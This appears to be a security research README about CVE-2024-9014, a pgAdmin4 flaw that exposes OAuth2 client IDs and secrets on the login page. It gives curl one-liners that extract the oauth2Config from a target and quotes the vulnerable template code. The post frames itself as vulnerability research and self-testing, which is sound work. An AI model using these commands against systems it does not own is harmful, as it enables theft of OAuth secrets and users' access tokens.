
Pgadmin4 Sensitive Information Exposure
这篇帖子是EQSTLab发布的研究文章。
★ CVE-2024-9014 敏感信息泄露 PoC ★
CVE-2024-9014:pgAdmin4 敏感信息泄露
描述:pgAdmin 8.11 及更早版本存在 OAuth2 认证安全缺陷。该漏洞允许攻击者可能获取客户端 ID 和密钥,从而导致对用户数据的未授权访问。
curl [URL_TO_TEST]/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
curl http://localhost:8000/login?next=/ | grep -o '"oauth2Config": \[.*\]' | sed 's/"oauth2Config": //'
pgadmin4-8.9 和 pgadmin4-8.12

在此处,config.OAUTH2_CONFIG 变量返回包含 OAUTH2_CLIENT_ID 和 OAUTH2_CLIENT_SECRET 的 OAuth2 配置文件。
{% set page_name = 'login_user' %}
{% set user_language = request.cookies.get('PGADMIN_LANGUAGE') or 'en' %}
{% set ns = namespace(langOptions=[]) %}
{% for key, lang in config.LANGUAGES.items() %}
{% set _ = ns.langOptions.append({'value': key, 'label': lang}) %}
{% endfor %}
{% set page_props = {
'userLanguage': user_language,
'langOptions': ns.langOptions,
'forgotPassUrl': url_for('browser.forgot_password'),
'loginUrl': url_for('authenticate.login'),
'csrfToken': csrf_token(),
'authSources': config.AUTHENTICATION_SOURCES,
'authSourcesEnum': {
'OAUTH2': config.OAUTH2,
'KERBEROS': config.KERBEROS,
},
'oauth2Config': config.OAUTH2_CONFIG,
'loginBanner': config.LOGIN_BANNER|safe
} %}
{% extends "security/render_page.html" %}

识别和保护秘密 OAuth 参数非常重要。虽然 “client_id” 可以安全公开,但泄露 “client_secret” 会带来重大风险。 如果 client_secret 被泄露,攻击者可以利用应用程序的身份和信任来窃取用户的 “访问令牌” 和个人信息。
本仓库并非旨在公开 CVE-2024-9014 的敏感信息。此项目的目的是帮助人们了解该漏洞,并可能用于测试自己的应用程序。
我们每月发布一次 CVE 和恶意软件分析。如果您感兴趣,请点击以下链接查看我们的出版物。 https://www.skshieldus.com/eng/business/insight.do